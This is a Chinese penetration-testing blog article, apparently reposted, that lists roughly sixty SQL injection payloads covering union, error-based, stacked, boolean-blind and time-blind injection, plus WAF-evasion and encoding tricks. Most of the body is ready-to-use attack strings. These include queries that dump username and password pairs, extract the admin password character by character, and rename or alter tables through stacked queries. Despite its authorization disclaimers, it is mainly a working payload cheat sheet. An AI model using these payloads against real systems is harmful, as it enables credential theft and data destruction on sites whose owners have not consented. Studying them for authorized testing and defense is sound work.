渗透测试手册:60个常用SQL注入Payload清单

admin 2026-02-17 20:07:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文提供了60个常用SQL注入Payload清单,涵盖联合查询、报错注入、布尔盲注及时间盲注等核心技术,并详细介绍了堆叠查询、编码绕过及WAF规避等高级技巧。文档强调了合法授权测试的重要性,并总结了实用的自动化检测流程。安全人员可利用此手册进行高效的漏洞评估与代码审计,构建更有效的防护方案。 综合评分: 88 文章分类: 渗透测试,WEB安全,漏洞POC,漏洞分析,红队


cover_image

渗透测试手册:60个常用SQL注入Payload清单

原创

小智 小智

智榜样网络安全学习中心

2026年2月11日 15:09 中国香港

💖 温馨提示:本文所有技术内容仅用于授权安全测试和教育研究。未经授权对任何系统进行测试属于违法行为,请严格遵守相关法律法规!

一、理解SQL注入的本质

1.1 什么是SQL注入?

SQL注入是一种通过操纵应用程序输入来干扰后端SQL查询的技术漏洞。攻击者利用此漏洞可以:

  • 读取敏感数据库信息
  • 修改或删除数据
  • 执行数据库管理操作

1.2 为什么安全人员需要了解SQL注入?

  • 漏洞评估:在授权测试中识别和验证漏洞
  • 代码审计:帮助开发人员编写更安全的代码
  • 防御建设:基于攻击技术设计更有效的防护方案

1.3 合法测试环境要求

  • ✅ 自己拥有或获得明确授权的系统
  • ✅ 隔离的测试环境
  • ✅ 明确的学习和研究目的

想要学习更多的渗透测试知识?欢迎关注我们官方的B站,每天更新在线的学习视频,点击下方链接 B站官方账号

二、SQL注入技术分类

2.1 联合查询注入技术

2.1.1 探测字段数量

' ORDER BY 1--
' ORDER BY 10--

2.1.2 构造联合查询

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,@@version,database()--

2.1.3 获取数据库信息

' UNION SELECT NULL,database(),NULL,NULL--
' UNION SELECT NULL,version(),NULL,NULL--
' UNION SELECT NULL,user(),NULL,NULL--

2.1.4 枚举表结构

' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables
WHERE table_schema=database()--

' UNION SELECT NULL,group_concat(table_name),NULL,NULL
FROM information_schema.tables WHERE table_schema=database()--

2.1.5 提取列信息

' UNION SELECT NULL,column_name,NULL,NULL FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'--

' UNION SELECT NULL,group_concat(column_name),NULL,NULL
FROM information_schema.columns WHERE table_schema=database() AND table_name='users'--

2.1.6 提取数据

' UNION SELECT NULL,concat(username,':',password),NULL,NULL FROM users--
' UNION SELECT NULL,group_concat(concat(username,0x3a,password)),NULL,NULL FROM users--

2.2 报错注入

2.2.1 ExtractValue函数利用

' AND extractvalue(1,concat(0x7e,(SELECT database())))--
' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1)))--

2.2.2 UpdateXML函数利用

' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e),1)--

2.2.3 数值溢出

' AND exp(~(SELECT * FROM (SELECT database())a))--
' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x
FROM information_schema.tables GROUP BY x)a)--

2.3 堆叠查询注入

2.3.1 数据库结构

'; SHOW databases--
'; SHOW tables--
'; SHOW columns FROM users--

2.3.2 表操作

'; RENAME TABLE users TO temp_users; RENAME TABLE admin TO users--
'; ALTER TABLE users CHANGE password pass_hash VARCHAR(255)--

2.3.3 Handler数据读取

'; HANDLER users OPEN; HANDLER users READ FIRST; HANDLER users CLOSE--

2.3.4 预处理语句绕过

'; SET @sql=0x73656c6563742031; PREPARE stmt FROM @sql; EXECUTE stmt--
'; PREPARE stmt FROM CONCAT('S','ELECT * FROM users'); EXECUTE stmt--

2.4 布尔盲注技术

2.4.1 探测数据库信息

' AND length(database())=5--
' AND ascii(substring(database(),1,1))>100--

2.4.2 枚举表结构

' AND (SELECT count(table_name) FROM information_schema.tables
WHERE table_schema=database())>0--

' AND ascii(substring((SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1),1,1))>100--

2.4.3 列信息获取

' AND (SELECT count(column_name) FROM information_schema.columns
WHERE table_name='users')=3--

' AND ascii(substring((SELECT column_name FROM information_schema.columns
WHERE table_name='users' LIMIT 0,1),1,1))>100--

2.4.4 数据提取

' AND ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))=97--
' AND (SELECT count(*) FROM users WHERE username='admin')=1--

2.5 时间盲注技术

2.5.1 基础时间延迟

' AND IF(1=1,SLEEP(5),0)--
' AND IF(length(database())=5,SLEEP(3),0)--

2.5.2 条件时间延迟

' AND IF(ascii(substring(database(),1,1))>100,BENCHMARK(1000000,MD5('test')),0)--

2.5.3 复杂条件判断

' AND IF((SELECT count(*) FROM users)=10,SLEEP(3),0)--
' AND IF(EXISTS(SELECT * FROM information_schema.tables
WHERE table_schema=database() AND table_name='users'),SLEEP(3),0)--

2.5.4 数据提取延迟

' AND IF(ascii(substring((SELECT password FROM users WHERE username='admin'),1,1))=97,
SLEEP(3),0)--

2.6 高级绕过技术

2.6.1 编码绕过

' AND 1=1--
' UNION SELECT 1,hex(database()),3,4--

2.6.2 注释符变种

' OR 1=1/*
' OR 1=1;--
' OR 1=1%23

2.6.3 空格绕过

'OR'1'='1
'UNION/**/SELECT/**/1,2,3--

2.6.4 比较操作符绕过

' OR 1 LIKE 1--
' OR true != false--

2.7 防御规避技术

2.7.1 WAF绕过

' UNIunionON SELselectECT 1,2,3--
' /*!50000UNION*/ SELECT 1,2,3--

2.7.2 大小写混合

' uNiOn SeLeCt 1,2,3--
' UnIoN aLl SeLeCt 1,2,3--

2.7.3 参数污染

?id=1'/*&id=*/UNION/*&id=*/SELECT 1,2,3--

2.8 实用检测流程

2.8.1 基础检测步骤

  1. 单引号检测:'
  2. 布尔检测:' AND '1'='1 / ' AND '1'='2
  3. 联合查询检测:' ORDER BY 10--
  4. 错误检测:' AND 1=cast(@@version as int)--

2.8.2 自动化检测要点

-- 快速检测语句
' OR 1=1--
' UNION SELECT NULL,NULL--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

三、🎯 文末福利

分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取

上千学习资料+工具

22919c6e4ef945aa9a9cbf0f6df4f6ff

分享后扫码加我!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智榜样网络安全学习中心 小智 小智《渗透测试手册:60个常用SQL注入Payload清单》

评论:0   参与:  0